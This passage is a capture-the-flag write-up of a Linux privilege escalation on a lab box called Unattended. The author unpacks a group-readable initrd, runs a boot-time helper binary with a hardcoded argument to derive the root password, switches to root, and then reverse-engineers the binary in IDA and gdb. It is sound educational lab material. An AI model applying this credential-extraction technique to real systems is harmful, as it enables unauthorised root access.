It’s easy to miss the necessary bits for this privesc in standard enumeration. The first hint comes back to the first command I run on every box:
guly@unattended:/dev$ id
uid=1000(guly) gid=1000(guly) groups=1000(guly),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),47(grub),108(netdev)
The grub group is interesting. It’s not one of the Debian System Groups, which means it’s unusual. It only owns one file (at least that I can access):
guly@unattended:/$ find / -group grub 2>/dev/null
/boot/initrd.img-4.9.0-8-amd64
guly@unattended:/$ file /boot/initrd.img-4.9.0-8-amd64
/boot/initrd.img-4.9.0-8-amd64: gzip compressed data, last modified: Thu Dec 20 22:50:39 2018, from Unix
I’ll also look at the drives and how they are mounted using lsblk:
guly@unattended:/dev$ lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
sda 8:0 0 4G 0 disk
├─sda1 8:1 0 285M 0 part /boot
└─sda2 8:2 0 3.7G 0 part
└─sda2_crypt 254:0 0 3.7G 0 crypt /
sr0 11:0 1 1024M 0 rom
So sda2 is an encrypted drive, which is mounted at the system root.
initrd Background
When a Linux system boots, it first mounts an initial RAM disk (initrd) as part of the kernel boot procedure. This disk contains the minimal set of executables and directory structure to load kernel modules necessary to make mount and make available the read root file system.
Unpack initrd
I’m going to dig into this initrd file. file said it was gzipped data. After using zcat to decompress it, I have a cpio archive:
guly@unattended:/tmp$ zcat /boot/initrd.img-4.9.0-8-amd64 > .b
guly@unattended:/tmp$ file .b
.b: ASCII cpio archive (SVR4 with no CRC)
To fully open the archive, I can use cpio:
guly@unattended:/dev/shm/.d$ zcat /boot/initrd.img-4.9.0-8-amd64 | cpio -idm
121309 blocks
guly@unattended:/dev/shm/.d$ ls
bin boot conf etc init lib lib64 run sbin scripts
That provides the file system for the boot ramdisk.
scripts/local-top/cryptroot
In looking around the scripts that are run at boot, I found this bit in scripts/local-top/cryptroot:
if [ ! -e "$NEWROOT" ]; then
# guly: we have to deal with lukfs password sync when root changes her one
if ! crypttarget="$crypttarget" cryptsource="$cryptsource" \
/sbin/uinitrd c0m3s3f0ss34nt4n1 | $cryptopen ; then
message "cryptsetup: cryptsetup failed, bad password or options?"
sleep 3
continue
fi
fi
This is interesting partially because there’s a comment from guly, which means it’s not unique, and partially for what it says it’s going. If the root user changes her password, it needs to run this. I can look at what’s happening here. I’ll strip off the if not statement to see the command that’s really being run:
crypttarget="$crypttarget" cryptsource="$cryptsource" /sbin/uinitrd c0m3s3f0ss34nt4n1 | $cryptopen
It is setting two environment variables ($crypttarget and $cryptsource) for this call, and then calling /sbin/uinitrd with an argument of c0m3s3f0ss34nt4n1 and passing the result to $cryptopen.
If I look at the top of the file where $cryptopen is set, I’ll see it depends on how this script is called:
# Prepare commands
cryptopen="/sbin/cryptsetup -T 1"
if [ "$cryptdiscard" = "yes" ]; then
cryptopen="$cryptopen --allow-discards"
fi
if [ -n "$cryptheader" ]; then
cryptopen="$cryptopen --header=$cryptheader"
fi
if /sbin/cryptsetup isLuks ${cryptheader:-$cryptsource} >/dev/null 2>&1; then
cryptopen="$cryptopen open --type luks $cryptsource $crypttarget --key-file=-"
elif [ "$crypttcrypt" = "yes" ]; then
cryptopen="$cryptopen open --type tcrypt $cryptsource $crypttarget"
else
cryptopen="$cryptopen -c $cryptcipher -s $cryptsize -h $crypthash open --type plain $cryptsource $crypttarget --key-file=-"
fi
Those variables being checked are set in a loop parsing the args at the top of the script. I can do a grep across the scripts directory to find where it’s called:
guly@unattended:/dev/shm/.d/scripts$ grep -r 'local-top/cryptroot' .
./local-block/cryptroot:if [ -x /scripts/local-top/cryptroot ]; then
./local-block/cryptroot: exec /scripts/local-top/cryptroot
./local-top/ORDER:/scripts/local-top/cryptroot "$@"
So scripts/local-block/cryptroot calls it:
if [ -x /scripts/local-top/cryptroot ]; then
exec /scripts/local-top/cryptroot
fi
And it calls it with no arguments. Looking at the if statements above then, I can guess that $cryptopen is set to:
/sbin/cryptsetup -T 1 -c $cryptcipher -s $cryptsize -h $crypthash open --type plain $cryptsource $crypttarget --key-file=-
I see that last arguments, --key-file=-. - is used to mean stdin, so whatever I’m piping into this part of the call, that’s the contents of the key file. I can also see those other two variables used here in this call.
Generate Password
But my focus is now what’s in the key file. It is the output of /sbin/uinitrd c0m3s3f0ss34nt4n1. I can run that on Unattended (in fact, I have to run it on Unattended, see Beyond Root). I’ll have to move it first since my shm dir is noexec:
guly@unattended:/dev/shm/.d$ cp sbin/uinitrd ~/.d
guly@unattended:/dev/shm/.d$ chmod +x ~/.d/uinitrd
guly@unattended:/dev/shm/.d$ ~/.d/uinitrd c0m3s3f0ss34nt4n1
132f93ab100671dcb263acaf5dc95d8260e8b7c6
su
That output is actually the root password. With that password, I can now change user to root:
guly@unattended:/dev/shm/.d$ su -
Password:
root@unattended:~# id
uid=0(root) gid=0(root) groups=0(root)
And get root.txt:
root@unattended:~# cat root.txt
559c0e00...
Beyond Root
uinitrd
Analysis
Originally I pulled the initrd file back to my local work station for analysis, and when I found uinitrd, I tried to just run it locally:
root@kali# ./uinitrd c0m3s3f0ss34nt4n1
supercazzola
I was quite disappointed that “supercazzola” wasn’t the root password. I eventually had the thought that the binary may behave differently on Unattended, and went back and run it there as shown above.
But in hindsight I wanted to open the binary and see what it was doing.
Before popping it open, I took at look at file:
root@kali# file uinitrd
uinitrd: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=9b79dbf74c0fa479889d3ba42533c8c81bfc8701, stripped
It’s stripped, but it’s also statically linked. That means that the functions from libc will be brought along, so I’m likely to see common functions just looking like part of this binary.
I opened it in the free IDA Pro, and went right to the strings tab. “supercazzola” was in there, right near “/etc/hostname”, “/boot/guid”, “%02x”, and some references to crypt and SHA.
The strings “/etc/hostname” and “/boot/guid” should be a big clue to try running this on Unattended, as those will be host specific.
The reference to this string is in sub_40103e, which is shaped like:
At the very bottom, there’s the split where it prints either “supercazzola” or loops over something printing hex bytes:
The path into printing “supercazzola” comes from that green arrow going up off the screen. Following it back up, there’s the branch that goes to print the static string vs the bytes:
This branch is made based on the outcome of the call to sub_417c60. This function is called another time in this primary function, right at the top:
In both cases, it’s passed a file name, and unk_49e344, which contains the byte “r”. I can guess that this is the fopen function. If that’s the case, the function will print out “supercazzola” if uinitrd fails to open /boot/guid, a file that is not present on my system, but is in the initrd:
root@kali# file initrd/boot/guid /boot/guid
initrd/boot/guid: ASCII text
/boot/guid: cannot open `/boot/guid' (No such file or directory)
The file is also on Unattended:
guly@unattended:~$ ls -l /boot/guid
-rw-r--r-- 1 root root 37 Dec 20 2018 /boot/guid
guly@unattended:~$ cat /boot/guid
C0B604A4-FE6D-4C14-A791-BEB3769F3FBA
I can test this hypothesis by creating the file, and then running uinitrd:
root@kali# initrd/sbin/uinitrd
supercazzola
root@kali# touch /boot/guid
root@kali# initrd/sbin/uinitrd
aa83705306e189c1d7ab5752fd28693a3bb37a33
That’s certainly enough to go back to Unattended and run it there. But I’ll keep going with this. I spent a bit of time looking at function arguments and named a bunch of the static function in IDA. This function has X main parts:
-
Read
/etc/hostname:
-
Get the first command line arg. If it’s not there, or longer than the space it allocated to store it (0xfe bytes), it stores “supercazzola” instead:
-
Read
/boot/guid:
-
Concatenates the hostname to the guid string:
-
Finds the end of the joined string, and appends “antani” to it:
-
Adds the command line arg to the end of this string:
-
Calls the function to create a hash* this string, passing in the string and the length of the string:
-
Prints the first 40 bytes of the hash:
-
Exits
At this point, this should be easy to replicate outside of here. Build the string, take the hash, get the password. I don’t know what kind of hash it is, but i’ll guess sha1 or sha256 as it needs to be at least 40 characters.
The string is “C0B604A4-FE6D-4C14-A791-BEB3769F3FBAunattendedantanic0m3s3f0ss34nt4n1”. If I edit my hostname file to be unattended and create /boot/guid with the correct output, and run with the password, the program does write the correct root password:
root@kali# cat /etc/hostname
unattended
root@kali# cat /boot/guid
C0B604A4-FE6D-4C14-A791-BEB3769F3FBA
root@kali# initrd/sbin/uinitrd c0m3s3f0ss34nt4n1
132f93ab100671dcb263acaf5dc95d8260e8b7c6
But I should be able to find a hash such that I can just get the password that way, but neither sha1 nor sha256 worked:
root@kali# echo -n "C0B604A4-FE6D-4C14-A791-BEB3769F3FBAunattendedantanic0m3s3f0ss34nt4n1" | sha1sum
22f23e1e30b01e2518022e087de289f805e9e6b7 -
root@kali# echo -n "C0B604A4-FE6D-4C14-A791-BEB3769F3FBAunattendedantanic0m3s3f0ss34nt4n1" | sha256sum
0d44c6f5b1aaf48650563c3e8015c725af7be98608ad29e1497652c0898f3d46 -
Big Rabbit Hole
At this point, this was driving me crazy, and I talked to the box author, guly. He said it was a sha256. I wrote a mini test program that creates a sha256 so I could compare it with uinitrd in gdb:
#include <stdio.h>
#include <string.h>
#include <openssl/sha.h>
int main (void) {
const char *s = "C0B604A4-FE6D-4C14-A791-BEB3769F3FBAunattendedantanic0m3s3f0ss34nt4n1";
unsigned char *d = SHA256(s, strlen(s), 0);
int i;
for (i = 0; i < SHA256_DIGEST_LENGTH; i++)
printf("%02x", d[i]);
putchar('\n');
return 0;
}
Compile it:
root@kali# gcc -o test test.c -lssl -lcrypto
Run it:
root@kali# ./test2
0d44c6f5b1aaf48650563c3e8015c725af7be98608ad29e1497652c0898f3d46
I took at look at the call to SHA256, which was at <main+49> in my program. I stepped in, and disassembled the function. I’ve added some notes:
gdb-peda$ disassemble SHA256
Dump of assembler code for function SHA256:
0x00007ffff7e04e00 <+0>: push r13
0x00007ffff7e04e02 <+2>: mov r13,rsi
0x00007ffff7e04e05 <+5>: push r12
0x00007ffff7e04e07 <+7>: mov r12,rdi
0x00007ffff7e04e0a <+10>: push rbp
0x00007ffff7e04e0b <+11>: push rbx
0x00007ffff7e04e0c <+12>: mov rbx,rdx
0x00007ffff7e04e0f <+15>: sub rsp,0x88
0x00007ffff7e04e16 <+22>: mov rax,QWORD PTR fs:0x28
0x00007ffff7e04e1f <+31>: mov QWORD PTR [rsp+0x78],rax
0x00007ffff7e04e24 <+36>: xor eax,eax
0x00007ffff7e04e26 <+38>: mov rbp,rsp
0x00007ffff7e04e29 <+41>: test rdx,rdx
0x00007ffff7e04e2c <+44>: lea rax,[rip+0x103c0d] # 0x7ffff7f08a40
0x00007ffff7e04e33 <+51>: cmove rbx,rax
0x00007ffff7e04e37 <+55>: mov rdi,rbp
0x00007ffff7e04e3a <+58>: call 0x7ffff7ca8f40 <SHA256_Init@plt>
0x00007ffff7e04e3f <+63>: mov rdx,r13
0x00007ffff7e04e42 <+66>: mov rsi,r12
0x00007ffff7e04e45 <+69>: mov rdi,rbp
0x00007ffff7e04e48 <+72>: call 0x7ffff7cabb70 <SHA256_Update@plt>
0x00007ffff7e04e4d <+77>: mov rsi,rbp
0x00007ffff7e04e50 <+80>: mov rdi,rbx
0x00007ffff7e04e53 <+83>: call 0x7ffff7cabee0 <SHA256_Final@plt>
0x00007ffff7e04e58 <+88>: mov esi,0x70
0x00007ffff7e04e5d <+93>: mov rdi,rbp
0x00007ffff7e04e60 <+96>: call 0x7ffff7ca7e30 <OPENSSL_cleanse@plt>
0x00007ffff7e04e65 <+101>: mov rcx,QWORD PTR [rsp+0x78]
0x00007ffff7e04e6a <+106>: xor rcx,QWORD PTR fs:0x28
0x00007ffff7e04e73 <+115>: jne 0x7ffff7e04e86 <SHA256+134>
0x00007ffff7e04e75 <+117>: add rsp,0x88
0x00007ffff7e04e7c <+124>: mov rax,rbx
0x00007ffff7e04e7f <+127>: pop rbx
0x00007ffff7e04e80 <+128>: pop rbp
0x00007ffff7e04e81 <+129>: pop r12
0x00007ffff7e04e83 <+131>: pop r13
0x00007ffff7e04e85 <+133>: ret
0x00007ffff7e04e86 <+134>: call 0x7ffff7cac2f0 <__stack_chk_fail@plt>
Right in the middle there’s calls to SHA256_Init, SHA256_Update, and then SHA256_Final. Then there’s OPENSSL_cleaanse.
I see the same structure in the hash function from uinitrd:
=> 0x4012a0: push r12
0x4012a2: push rbp
0x4012a3: mov rbp,rdi <-- rbp gets sgring
0x4012a6: push rbx
0x4012a7: mov rbx,rdx <-- rbx gets arg3, 0
0x4012aa: mov r12,rsi <-- r12 gets len
0x4012ad: sub rsp,0x70
0x4012b1: mov rax,QWORD PTR fs:0x28
0x4012ba: mov QWORD PTR [rsp+0x68],rax <-- rsp+0x68 = canary
0x4012bf: xor eax,eax <-- eax = 0
0x4012c1: mov rdi,rsp
0x4012c4: test rdx,rdx
0x4012c7: mov eax,0x6e3510
0x4012cc: cmove rbx,rax
0x4012d0: call 0x402c50 <-- SHA256_Init
0x4012d5: xor ecx,ecx
0x4012d7: test eax,eax
0x4012d9: je 0x401304
0x4012db: mov rdx,r12
0x4012de: mov rsi,rbp
0x4012e1: mov rdi,rsp
0x4012e4: call 0x402890 <-- SHA256_Update
0x4012e9: mov rsi,rsp
0x4012ec: mov rdi,rbx
0x4012ef: call 0x402ab0 <-- SHA256_Final
0x4012f4: mov esi,0x60
0x4012f9: mov rdi,rsp
0x4012fc: call 0x4014d0 <-- OPENSSL_cleanse
0x401301: mov rcx,rbx
0x401304: mov rdx,QWORD PTR [rsp+0x68]
0x401309: xor rdx,QWORD PTR fs:0x28
0x401312: mov rax,rcx
0x401315: jne 0x401320
0x401317: add rsp,0x70
0x40131b: pop rbx
0x40131c: pop rbp
0x40131d: pop r12
0x40131f: ret
If I break at call SHA256_Init, I see it is passed in space to initialize which happens to be the address of the top of the stack:
[----------------------------------registers-----------------------------------]
RAX: 0x7ffff7f08a40 --> 0x0
RBX: 0x7ffff7f08a40 --> 0x0
RCX: 0x45 ('E')
RDX: 0x0
RSI: 0x45 ('E')
RDI: 0x7fffffffdec0 --> 0x0
RBP: 0x7fffffffdec0 --> 0x0
RSP: 0x7fffffffdec0 --> 0x0
RIP: 0x7ffff7e04e3a (<SHA256+58>: call 0x7ffff7ca8f40 <SHA256_Init@plt>)
R8 : 0x7ffff7c1cd80 --> 0x0
R9 : 0x7ffff7c1cd80 --> 0x0
R10: 0x0
R11: 0x7ffff7e04e00 (<SHA256>: push r13)
R12: 0x555555556008 ("C0B604A4-FE6D-4C14-A791-BEB3769F3FBAunattendedantanic0m3s3f0ss34nt4n1")
R13: 0x45 ('E')
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x7ffff7e04e2c <SHA256+44>: lea rax,[rip+0x103c0d] # 0x7ffff7f08a40
0x7ffff7e04e33 <SHA256+51>: cmove rbx,rax
0x7ffff7e04e37 <SHA256+55>: mov rdi,rbp
=> 0x7ffff7e04e3a <SHA256+58>: call 0x7ffff7ca8f40 <SHA256_Init@plt>
0x7ffff7e04e3f <SHA256+63>: mov rdx,r13
0x7ffff7e04e42 <SHA256+66>: mov rsi,r12
0x7ffff7e04e45 <SHA256+69>: mov rdi,rbp
0x7ffff7e04e48 <SHA256+72>: call 0x7ffff7cabb70 <SHA256_Update@plt>
Guessed arguments:
arg[0]: 0x7fffffffdec0 --> 0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdec0 --> 0x0
0008| 0x7fffffffdec8 --> 0x0
0016| 0x7fffffffded0 --> 0x0
0024| 0x7fffffffded8 --> 0x0
0032| 0x7fffffffdee0 --> 0x0
0040| 0x7fffffffdee8 --> 0x0
0048| 0x7fffffffdef0 --> 0x0
0056| 0x7fffffffdef8 --> 0x0
[------------------------------------------------------------------------------]
There’s nothing in that space now (I can see all 0s in the peda) output for the stack above. If I step forward, the next 8 words are populated:
gdb-peda$ x/8xw 0x7fffffffdec0
0x7fffffffdec0: 0x6a09e667 0xbb67ae85 0x3c6ef372 0xa54ff53a
0x7fffffffded0: 0x510e527f 0x9b05688c 0x1f83d9ab 0x5be0cd19
Those are special values, associated with a SHA256.
Doing the same thing in uinitrd, I put my breakpoint at 0x4012e4, and ran to there:
[----------------------------------registers-----------------------------------]
RAX: 0x1
RBX: 0x6e3510 --> 0x0
RCX: 0x0
RDX: 0x45 ('E')
RSI: 0x7fffffffd640 ("C0B604A4-FE6D-4C14-A791-BEB3769F3FBAunattendedantanic0m3s3f0ss34nt4n1")
RDI: 0x7fffffffd5a0 --> 0xefcdab8967452301
RBP: 0x7fffffffd640 ("C0B604A4-FE6D-4C14-A791-BEB3769F3FBAunattendedantanic0m3s3f0ss34nt4n1")
RSP: 0x7fffffffd5a0 --> 0xefcdab8967452301
RIP: 0x4012e4 (call 0x402890)
R8 : 0xffff
R9 : 0x7fffffffd640 ("C0B604A4-FE6D-4C14-A791-BEB3769F3FBAunattendedantanic0m3s3f0ss34nt4n1")
R10: 0x24 ('$')
R11: 0x4b49c4 --> 0xfff919ccfff919bc
R12: 0x45 ('E')
R13: 0x4113f0 (push r14)
R14: 0x411480 (push rbx)
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x4012db: mov rdx,r12
0x4012de: mov rsi,rbp
0x4012e1: mov rdi,rsp
=> 0x4012e4: call 0x402890
0x4012e9: mov rsi,rsp
0x4012ec: mov rdi,rbx
0x4012ef: call 0x402ab0
0x4012f4: mov esi,0x60
Guessed arguments:
arg[0]: 0x7fffffffd5a0 --> 0xefcdab8967452301
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd5a0 --> 0xefcdab8967452301
0008| 0x7fffffffd5a8 --> 0x1032547698badcfe
0016| 0x7fffffffd5b0 --> 0xc3d2e1f0
0024| 0x7fffffffd5b8 --> 0x0
0032| 0x7fffffffd5c0 --> 0x0
0040| 0x7fffffffd5c8 --> 0x0
0048| 0x7fffffffd5d0 --> 0x0
0056| 0x7fffffffd5d8 --> 0x0
[------------------------------------------------------------------------------]
Again, it’s passing in the top of the stack as the area to initialize. On running the next step, the output is not the SHA256 values:
gdb-peda$ x/8xw 0x7fffffffd5a0
0x7fffffffd5a0: 0x6b78886e 0x4fbcdcec 0xd3949c30 0x1b348993
0x7fffffffd5b0: 0x5a5dd544 0x00000228 0x00000000 0x6e34746e
I googled that first word, and it’s the SHA1 initialization value!
I can’t fully explain what happens here. The output isn’t a SHA1, and it can’t be a SHA256. I could work through the SHA256_Update function, but I think that’s enough rabbit hole. If you can figure out what happened, I’d love to know.
initrd rootkits
When I first found the initrd file, I went down the rabbit hole of reading about ramdisk rootkits, thinking maybe I had to hijack one here. I tweeted out this awesome presentation back in June:
Just watched and really enjoyed this 2016 talk from @r00tkillah about his initrd rootkithttps://t.co/VPduLFUHWP
— 0xdf (@0xdf_) June 25, 2019
That’s still really worth a watch if you want to understand how these systems work, and how to exploit them. This post is also worth a read on the matter.